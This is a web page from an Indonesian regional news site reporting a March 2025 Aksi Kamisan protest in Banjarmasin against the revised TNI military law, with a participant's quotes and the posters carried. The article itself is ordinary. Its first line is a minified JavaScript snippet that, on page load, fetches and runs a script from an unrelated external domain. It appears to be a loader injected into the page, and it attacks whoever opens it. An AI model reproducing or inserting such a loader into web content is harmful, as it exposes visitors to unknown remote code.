(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aksi Kamisan Kalsel Tolak RUU TNI #Kembalikan TNI ke Barak


KANALKALIMANTAN.COM, BANJARMASIN – Aksi Kamisan di Banjarmasin dilakukan sejumlah aktivis dan mahasiswa saat hujan mengguyur, Kamis (20/3/2025) sore.

Unjuk rasa kali ini bertema penolakan atas RUU TNI. Sejumlah aktivis mengangkat tema “Kembalikan TNI ke Barak #TolakRUUTNI”  digelar di bawah flyover A Yani Km 4 Banjarmasin.

Seperti yang diketahui, Rancangan Undang-undang (RUU) TNI ini merupakan perubahan pertama dari Undang-Undang Nomor 34 Tahun 2004 tentang Tentara Nasional Indonesia, yang dibahas secara tertutup oleh DPR RI pada Jumat (14/3/2025) dan Sabtu (15/3/2025) di hotel bintang lima, Fairmont, Senayan, Jakarta.

Baca juga: Cari Sembako Harga Miring, Warga Serbu Pasar Murah Pemprov Kalsel


Tak hanya dinilai kontroversi akibat secara formil dilakukan di luar gedung DPR, buntut dari penolakan RUU TNI juga ditenggarai materil RUU-nya yang dapat merugikan hak sipil.

Meskipun RUU TNI baru saja disahkan, tetapi Aksi Kamisan tetap dilaksanakan.

Salah satu peserta Aksi Kamisan Kalsel, Leo, menyebutkan pihak DPR RI terlalu tergesa-gesa dalam mengesahkan RUU TNI menjadi UU.

Baca juga: Tiga Pos Pengamanan Arus Mudik di Ibu Kota Kalsel

“Bukan kami yang terlambat (melakukan aksi). Hanya saja, pihak atas (DPR) yang terlalu cepat (mengesahkan),” kata Leo, salah satu peserta Aksi Kamisan pada Kamis (20/3/2025) sore.

Selain itu, ia menyayangkan bentuk pengabaian DPR terhadap keterlibatan masyarakat dalam pembahasan RUU TNI.

“Bahkan, prosesnya (RUU TNI) tidak melibatkan masyarakat. Bisa dibilang secara prosedural (formil) sudah cacat,” sambung Leo.

Baca juga: Juni atau Oktober, Pemko Banjarbaru Siap Lantik PNS dan PPPK 2024

Adapun upaya yang bisa mereka lakukan, sudah jelas menolak kehadiran revisi UU TNI ini. Meskipun Ketua DPR Puan Maharani di hadapan fraksi partai sudah mengetuk palu.

Bentuk penolakan dari peserta Aksi Kamisan ini dengan cara membawa poster dengan berbagai macam tulisan.

Mulai dari “Orba Gak Pernah Mati karena Reformasi Gak Pernah Lahir”, “Usut Tuntas Kebengisan TNI”, “Dari Rakyat, Oleh Rakyat, Untuk Bang***”, hingga “Kayak Kurang Kerjaan Aja, Ngambil Double Job”. (Kanalkalimantan.com/torieq)

Reporter: torieq
Editor: bie


Muhammad Andi

Recent Posts

Kematian Jurnalis Juwita 5 Saksi Diperiksa, Belum Ada Penetapan Tersangka

Kapolres Banjarbaru: Berapa Orang yang Terlibat Masih Proses Penyelidikan Read More

3 jam ago

Bupati HSU Serahkan LKPD Unaudited 2024 ke BPK RI

KANALKALIMANTAN.COM, BANJARBARU – Bupati Hulu Sungai Utara (HSU) H Sahrujani menyerahkan Laporan Keuangan Pemerintah Daerah… Read More

3 jam ago

Penjabat Sekda Banjarbaru yang Kelima Dilantik, dari Nurliani ke Sirajoni

KANALKALIMANTAN.COM, BANJARBARU - Posisi jabatan Sekretaris Daerah (Sekda) Kota Banjarbaru kembali berganti. Setelah empat pejabat… Read More

4 jam ago

Ungkap 10 Kasus Curanmor Hasil Operasi Jaran 2025 Polres Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Selama 12 hari Operasi Jaran Intan Polres Banjarbaru melalui Satuan Reses Kriminal… Read More

5 jam ago

Pemkab Banjar Serahkan LKPD Unaudited Tahun Anggaran 2024 ke Kantor BPK Perwakilan Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Diwakili oleh Wabup Banjar Habib Idrus Al Habsyi, Pemerintah Kabupaten Banjar menyerahkan… Read More

7 jam ago

Kinerja PTAM Intan Banjar Dinilai Sangat Baik

KANALKALIMANTAN.COM, MARTAPURA - Kinerja PT Air Minum (PTAM) Intan Banjar pada tahun ini dinilai sangat… Read More

7 jam ago